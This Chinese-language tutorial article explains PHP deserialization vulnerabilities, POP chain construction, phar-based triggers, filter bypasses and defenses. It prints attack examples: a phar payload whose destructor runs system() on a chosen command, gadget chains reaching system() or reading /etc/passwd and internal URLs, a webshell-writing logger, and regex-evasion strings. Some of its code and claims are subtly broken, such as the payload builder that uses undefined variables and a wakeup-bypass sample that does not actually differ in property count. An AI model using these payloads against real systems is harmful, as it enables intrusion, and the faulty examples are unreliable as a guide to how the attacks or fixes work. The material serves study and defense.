ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

PHP反序列化漏洞原理与POP链构造实战详解

PHP反序列化漏洞原理与POP链构造实战详解

1. 从一段“莫名其妙的字符串”说起

PHP反序列化这个题目,在CTF比赛和Web漏洞挖掘里出现频率极高,但很多新手刚接触时都被那串O:4:"User":3:{...}格式的字符串搞蒙。其实它没那么玄乎——本质上是PHP对象在被序列化和反序列化过程中的一个逻辑漏洞。如果你是做PHP开发、搞安全测试,或者正在准备面试/竞赛,这篇文章会从原理到实操帮你彻底搞懂这个知识点。

一句话说透:PHP反序列化漏洞发生在unserialize() 处理用户可控输入时,通过精心构造的序列化字符串触发对象内魔术方法,从而实现任意代码执行、文件读取、SSRF等危害。它利用的不是内存溢出,而是对象逻辑层面的缺陷。

先看一个最直观的例子:

<?php class User { public $name; public $isAdmin = false; public function __wakeup() { // 反序列化时自动调用 } } $data = $_POST['data']; $user = unserialize($data); // 漏洞点:直接反序列化用户输入

如果攻击者提交O:4:"User":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;},那isAdmin属性就被改成了true——一个本不允许的权限越界就这么产生了。

这里我提前强调一个核心认知:反序列化本身不是漏洞,漏洞在于反序列化之后对象的动作。就像你把一个盒子打开,盒子本身没恶意,但里面弹出来的机关才有问题。后面所有内容都围绕这个“机关”展开。

2. 序列化与反序列化的底层机制

2.1 序列化到底把对象变成了什么

序列化就是把内存中的对象状态(属性值)转换成可存储、可传输的字符串格式。PHP中用serialize()完成,转换结果长这样:

<?php class User { public $name = 'Tom'; public $age = 18; public $data = [1, 2, 3]; } $obj = new User(); echo serialize($obj); // 输出:O:4:"User":3:{s:4:"name";s:3:"Tom";s:3:"age";i:18;s:4:"data";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}}

我来逐段拆解这个字符串的含义,理解了它你就成功了一半:

  • O:4:"User"——O代表Object,4是类名长度,"User"是类名
  • 3—— 属性总数
  • s:4:"name"—— 属性名,s表示string,4是长度
  • s:3:"Tom"—— 属性值,同样格式
  • i:18—— 整数,i代表int
  • a:3:{...}—— 数组,a代表array,3是元素个数,内部嵌套格式相同

除了O、s、i、a,还有几个常见标识符:

标识符含义示例
b布尔值b:1(true) /b:0(false)
d浮点数d:3.14
NNULLN;
C自定义序列化,调serialize()方法C:8:"ClassName:...
R指针引用,用于循环引用r:1;

这层语法规则是后续构造 payload 的基础,尤其是O和C两种,后者常用于一些特殊类的绕过。

2.2 反序列化时对象内部发生了什么

unserialize()把字符串还原成对象的过程中,如果类已定义,PHP会按照属性逐个赋值。关键点在于,这个过程会触发对象内部定义的一些魔术方法。PHP中与序列化相关的主要有这几个:

魔术方法触发时机典型危害
__wakeup()反序列化开始时重新初始化资源、可被构造利用
__destruct()对象销毁时(脚本结束或unset)常见利用入口
__toString()对象被当作字符串使用可触发文件读取、注入
__call()调用不可访问的方法时动态方法派发,可被链式利用
__get()/__set()读写不可访问属性时配合其他类实现属性劫持
__invoke()把对象当作函数调用可嵌入调用链
__isset()/__unset()isset()/unset() 对不可访问属性辅助利用

在研究反序列化漏洞时,我们通常把开发者编写__wakeup()和__destruct()的情况当作主战场。很多框架代码里__destruct()会去执行某个缓存清理或日志写入操作,内部如果存在危险函数调用,就是漏洞的起点。

举一个实际的危险例子:

<?php class Logger { private $filename; public function __construct($filename) { $this->filename = $filename; } public function __destruct() { // 对象销毁时自动写入文件 file_put_contents($this->filename, 'log', FILE_APPEND); } }

攻击者构造一个Logger对象,把filename测试为shell.php,并把内容精心设计,当对象被销毁时,代码执行或 webshell 写入就地实现。 PHP对象生命周期长短不由你控制,unserialize()结束后所有临时对象都会经历析构过程——这正是漏洞能够触发的天然窗口。

3. 攻击面拆解:什么样的PHP代码容易出问题

3.1 直接输入点:用户控制数据进入 unserialize()

最常见的脆弱代码如下:

<?php $data = $_POST['data']; $obj = unserialize($data);

这是最直观的攻击入口,防御方如果直接处理外部输入,等于把整个对象系统暴露给了攻击者。典型场景包括:Cookie中存储用户信息、RPC调用参数、HTTP请求体、文件上传后的元数据解析。

我之前整理过一个内部学习项目的排查日志,发现相当多的案例都是因为开发者图省事,在Cookie里存了serialize($user)用于保持登录状态:

<?php $user = unserialize(base64_decode($_COOKIE['user']));

攻击者只需要把Cookie值替换成构造好的payload,就能接管任意用户权限。这种场景在真实渗透测试中很常见,所以我把凡是出现 unserialize() 且参数可被外部影响的位置都列为高危入口。

3.2 二次利用点:反序列化在存储与检索中的隐忧

有意思的是,很多反序列化漏洞并不是直接发生在unserialize调用处,而是经过了一层“序列化存储、反序列化读取”的间接流程。比如session、缓存、数据库字段里存了序列化字符串,后续读取时反序列化。这种场景下攻击面更大,因为开发者往往没有意识到这个反序列化操作会再次触发魔术方法。

典型例子是file_get_contents()读到一个伪造的.php内容,然后把内容给unserialize()处理。这种情况在文件上传、导入导出功能中极易出现。攻击者要做的就是“投毒数据源”,让后续反序列化落入自己构造的陷阱。

3.3 进阶入口:phar反序列化

比起直接传字符串,phar反序列化是更隐蔽的高危点。phar文件里有可被自动解析的元数据,PHP在读取phar文件时会自动对其进行反序列化。只要代码中使用了file_exists()、file_get_contents()、is_dir()、fopen()等函数且参数可控,攻击者就可以通过伪造phar文件触发反序列化。

POC原理大致如下:攻击者构造phar文件,其中meta-data是一段精心设计的序列化payload,然后用phar://协议路径触发:

<?php // 攻击者构造的phar文件内容 class Evil { public $cmd = 'id'; public function __destruct() { system($this->cmd); } } // 生成phar文件(攻击者本地完成) $phar = new Phar('payload.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $payload = new Evil(); $phar->setMetadata($payload); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); // 受害端触发点 file_exists('phar://uploads/payload.phar/test.txt'); // 自动反序列化metadata

为什么这个入口青光眼级别?因为触发条件太宽松——很多文件操作函数都会自动触发phar元数据反序列化,且开发者很难意识到file_exists这类纯查询函数也存在漏洞。如果你审计的代码里包含了文件路径拼接参数,务必排查phar反序列化的可能性。

4. 从小玩具到真实利用链:POP链构造思路

4.1 什么是POP链,为什么必须掌握它

单靠一个类的一个魔术方法往往做不了大事,真实利用场景中你通常需要串联多个类的魔术方法,像链条一样一步步推进,最终到达危险函数。这就是POP(Property-Oriented Programming)链,对应Java反序列化里的Gadget链。

打个比方,你要在戒备森严的建筑里接近核心机房,凭一张门禁卡进不去。但如果你先通过A房间拿到B钥匙,用B钥匙打开C房间,在C房间找到D权限……最终就能抵达目标。PHP POP链就是这个“钥匙接力”的过程。

4.2 两条最典型的链式利用路径

路径一:__wakeup()->__call()->__invoke()-> RCE

看下面这个简化模型:

<?php class A { public $cmd; public function __wakeup() { // 触发点 $this->show(); } public function show() { // 试图调用一个不存在的方法 $this->doSomething(); } } class B { public $target; public function __call($name, $arguments) { // 方法不存在时自动进入 $func = $this->target->func; $func(); } } class C { public $func = 'system'; }

攻击流程:unserialize一个A实例 ->__wakeup()触发show()->show()调用不存在的方法doSomething()-> 方法派发到B::__call()-> B的__call()执行$this->target->func()-> 从C实例中取出func='system'并执行。最终system()被调用,命令执行完成。

构造payload如下:

$pop = new A(); $pop->cmd = 'whoami'; $a->target = new B(); $b->target = new C(); echo serialize($pop);

路径二:__toString()链 -> 文件读取/SSRF

<?php class View { public $file; public function __toString() { return file_get_contents($this->file); } } class Source { public $view; public function __destruct() { echo $this->view; // 对象被当作字符串拼接 } }

当echo $this->view执行时,如果$view是View类的实例,会自动触发__toString(),于是file_get_contents($this->file)被调用,攻击者把$file设为/etc/passwd或http://内网地址,就实现了文件读取或SSRF。

4.3 我应该如何练习POP链构造

我个人的经验是分三步走:

  1. 阅读框架源码,找出公开可用的“危险类”——例如带有eval()、system()、file_get_contents()、call_user_func()等关键函数的类。
  2. 从危险函数反向追踪触发路径,看什么方法能一步步调用到它。
  3. 用本地环境构造对象、生成序列化payload,执行反序列化并验证触发。

强烈建议在本地搭一个PHP环境,配置好Xdebug,因为每次反序列化后对象销毁都会调用__destruct(),断点观察整个调用链会非常直观。实操几次之后,你对魔术方法的触发顺序就会有肌肉记忆。

5. 边界绕过与进阶手法:不只是改参数

5.1 __wakeup绕过

这个点非常经典,原理和CVE有关。当一个已定义类的属性数量比序列化字符串中实际数量多时,PHP早期版本会跳过__wakeup()的执行,变相绕过了对反序列化参数的限制。

攻击者构造如下payload:

O:4:"User":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}

但需要注意:在PHP 7.4.0之后,这个绕过已经被修复,属性数量差异不再跳过__wakeup()。现在再提这个手法,更多是提醒大家“版本差异很重要”——同样的payload在旧版本有效,新版可能直接失效,做安全测试前先确认对方PHP版本。

5.2 引用计数绕过

利用R类型标识符制造属性之间的引用关系。比如想让两个属性指向同一个值,可以用R:指向前面已经定义的值:

O:1:"X":2:{s:1:"a";R:1;s:1:"b";R:1;}

参考类逻辑中,如果两个属性要求值必须相等,引用关系可以同时改变。这种技巧在构造某些带校验的POP链时特别好用,例如保持isAdmin和某个不可控属性绑定。

5.3C:自定义序列化绕过

当类实现了Serializable接口,它的序列化格式是C开头的自定义格式。而unserialize()在处理C格式时不会调用标准的魔术方法,而是调用该类自己的unserialize()方法。某些框架的unserialize()实现存在风险,但当你希望绕过标准魔术方法时的行为时,用这招能绕过一些过滤器。

5.4 PHP8+对魔术方法的调整

PHP 8对魔术方法的处理有一些细调,比如__call和__callStatic必须声明为public,被调用的非法方法如果不存在且__call未定义时会直接抛异常。这些变化意味着构造链时要注意方法权限和返回类型。

一个另类提醒:不是每个版本都让__wakeup或__destruct正常如期触发,PHP 8.0后某些对象在特定上下文下(比如错误处理中)析构顺序会变化。测试POP链时一定要本地兼容目标版本。

5.5 正则过滤与绕过策略

很多防御方案是用正则去拦截危险关键字:

if (preg_match('/[oc]:\d+:/i', $data)) { die('hacking attempt'); }

这里的正则天真地认为O:4:格式就是攻击,实际上攻击者可以用O:+4:这样的加号绕过:

O:+4:"User":3:{...}

PHP反序列化解析时兼容这种+写法,但正则漏掉了。常见的绕过方式还包括:

  • 在类名前加空格、空字节
  • 修改属性个数触发wakeup绕过
  • 使用大写O/C混过大小写匹配正则

6. 防御策略:不是禁用unserialize,而是多层设防

很多人给我说“我直接把unserialize()禁掉不就行了”,这其实是对安全的理解太浅。真实工程中,反序列化用于缓存、会话、队列等场景,禁用会让系统不可用,所以合理防御应该是多层叠加。

6.1 第一层:永远不要反序列化不可信数据

这看起来像废话但非常重要:对用户输入、请求参数、外部数据源做严格判断,禁止直接进入unserialize()。白名单机制是首选:

<?php $data = json_decode($_POST['data'], true); $user = new User(); $user->name = $data['name']; $user->isAdmin = false; // 强制默认权限

让用户无法控制对象的类型和属性结构,等于从源头堵死了反序列化投递路径。

6.2 第二层:使用的类做白名单限制

PHP 7.0之后unserialize()支持第二个参数,用于指定允许反序列化的类白名单:

<?php $obj = unserialize($data, ['allowed_classes' => ['User', 'Log']]);

allowed_classes设为false时,反序列化只会生成__PHP_Incomplete_Class或直接拒绝,对象属性不会赋值,魔术方法也不会被触发。这层防御能够极大缩小攻击面,即使攻击者拿到了序列化payload,也无法创建自己构造的利用类。

6.3 第三层:用安全格式替代原生序列化

在工程实践中,对于持久化数据,我更倾向于推荐json_encode/json_decode取代serialize/unserialize。JSON格式不具备对象实例化能力,不存在魔术方法触发的风险。很多现代框架都已经把session数据改成安全格式,但老项目改造时需要迁移历史数据。

6.4 第四层:严格过滤危险函数调用

对项目中类内部的eval()、system()、exec()、call_user_func()等危险函数做深度审计。即使反序列化被触发,如果POP链无法连接到任意危险函数,漏洞影响就会显著降低。这层属于“纵深防御”——不是依赖单一防线,而是让攻击者即便突破了一两层也难以达成最终目的。

7. 常见问题排查实录与实用心得

我在培训新人时,经常被问到这几个高频问题,这里集中整理一下,每个都是真实踩坑后的经验总结。

Q1:构造POP链时,为什么明明条件都满足了但__destruct()就是不执行?

答案大概率是:对象没有真正被销毁。注意几个场景:

  • 你把对象赋值给了全局变量,脚本结束后全局变量仍在,析构延迟
  • PHP 7.4+ 对某些有循环引用的对象透明处理,垃圾回收时机不同
  • 在某函数域内创建的对象,函数返回后即销毁;全局域的则留到脚本结束

所以你测试payload时,用一个小脚本把对象创建和反序列化包在函数里,看析构是否按预期触发。

Q2:为什么我传入的字符串被unserialize()解析后类型和预期完全不同?

大概率是属性个数与字符串不一致,导致PHP补位或报错。比如你写O:4:"User":2:{...}但实际属性只有1个,反序列化阶段可能产生未定义或默认属性。序列化字符串中属性数量必须和实际数量一致,用了C格式的自定义序列化类概率更大。

Q3:为什么我本地payload有效,换到目标环境就大面积失效?

核心原因几乎都是类名/方法名冲突或方法可见性不同。目标环境可能存在同名类或接口,导致魔术方法不触发;也可能是目标框架静态代理、继承关系导致你的payload中某些属性被覆盖。解决方案是提前获取目标环境中对应类的源码,确保属性名、方法名、可见性完全一致。

Q4:PHP 8.1+ 中反序列化有什么特殊注意点?

两个容易被坑的细节:

  • 新版的unserialize()会对不可访问的属性抛出Error而不是静静跳过,这会导致整个反序列化失败,因此构造链时的属性名/作用域要精确匹配
  • 魔术方法不一定是字符串触发范围,新版中某些属性类型也用enum,构造时注意类型声明

Q5:反序列化漏洞到底能影响多大范围?

取决于触发后的目标函数。最小是信息泄露(读文件)、中等是SSRF、严重是RCE(命令执行)。而影响面评估也取决于反序列化入口出现在哪个环节——如果入口在公共模块,所有调用该模块的功能都会受影响。之前某框架框架,入口在公共请求中间件,一次反序列化漏洞可以打到整个项目下的所有接口,危害被放大到极其恐怖的程度。

从个人经验出发,我想特别强调:能利用的反序列化漏洞通常不是“反序列化”本身,而是业务代码在设计对象生命周期时留下的安全盲区。很多时候我们修复一个漏洞,不只是在unserialize()调用处增加过滤,还要顺着一条条POP链反向检查哪些类具备了“危险动作”。把这层设计思维补齐,才真正吃透了PHP反序列化这个题目。我最初从CTF接触这个概念时,也被各种精巧的链式调用绕得头晕,老老实实把每个魔术方法的目标、触发条件、版本差异摸清之后,再看任何反序列化题目就都能快速找到突破口。如果你正在学习这条路,建议按这篇文章的顺序亲手写demo、生成payload、运行验证一遍——纸上得来终觉浅,踩一次坑比读十遍文章都管用。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进